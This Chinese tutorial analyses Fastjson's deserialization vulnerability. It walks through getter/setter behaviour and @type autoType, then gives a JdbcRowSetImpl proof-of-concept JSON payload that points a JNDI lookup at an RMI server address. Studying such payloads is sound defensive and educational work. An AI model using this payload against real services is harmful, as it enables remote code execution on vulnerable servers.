0x01 简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
0x02 Fastjson序列化
1、下载存在漏洞的版本,此处下载1.2.20
地址:https://github.com/alibaba/fastjson/releases?page=7
2、导入IDEA,自动安装依赖
3、新建Student类
package com.alibaba.fastjson;
public class Student {
private String name;
private int age;
public Student(){
System.out.println("this is student class 构造函数");
}
public String getName(){
System.out.println("this is student class getName函数");
return name;
}
public void setName(String name){
System.out.println("this is student class setName函数");
this.name = name;
}
public int getAge(){
System.out.println("this is student class getAge函数");
return age;
}
public void setAge(int age){
System.out.println("this is student class getAge函数");
this.age = age;
}
}
4、新建ser序列化类
package com.alibaba.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.awt.*;
public class ser {
public static void main(String[] args){
Student student = new Student();
student.setName("hahaha");
student.setAge(18);
String jsonstring = JSON.toJSONString(student,SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}
运行ser类,结果如下,可以看到fastjson在调用JSON.toJSONString序列化对象时,会调用类的getter方法。SerializerFeature.WriteClassName是toJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
未设置SerializerFeature.WriteClassName属性输出如下:
关于getter和setter方法的理解
(1).当属性被私有之后,外界无法直接访问,所以需要提供公共的访问方式,让外界可以间接地访问,并不是所有的属性都需要定义,被外界需要的才需要,对当前类可以控制外别访问属性的方式(我让你怎么访问就怎么访问)
(2).一般提供给get方式获得私有属性的值,通过set定义私有属性的值
格式:方法名 get(set)+属性名(首字母大写)
0x03 Fastjson反序列化
1、新建unser类,代码如下
package com.alibaba.fastjson;
public class unser {
public static void main(String[] args){
String test = "{\"@type\":\"com.alibaba.fastjson.Student\",\"age\":18,\"name\":\"hahaha\"}";//Student类需要全路径
System.out.println(JSON.parse(test));
System.out.println(JSON.parseObject(test));
}
}
运行unser,结果如下:
可以看到JSON.parse方法反序列化后调用了对象的setter方法,JSON.parseObject调用了对象的getter和setter方法因为这种autoType所以导致了fastjson反序列化漏洞。
0x04 Fastjson反序列化漏洞
结合前面的分析我们知道了fastjson反序列化漏洞的原因在于类的setter方法在反序列化时会被调用,从而造成漏洞。接下来从POC入手分析反序列化漏洞。
JdbcRowSetImpl利用链
POC如下:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
根据前面的分析可知fastjson在反序列化的时候会将com.sun.rowset.JdbcRowSetImpl的dataSourceName属性设置为rmi://127.0.0.1:1099/badClassName,autoCommit属性设置为true,跟进com.sun.rowset.JdbcRowSetImpl类,setDataSourceName设置dataSourceName
setAutoCommit设置autoCommit并调用了connect方法
跟进connect方法,方法中调用了lookup方法,传入的参数即为我们的jndi服务器地址,造成了jndi反序列化漏洞
Q.E.D.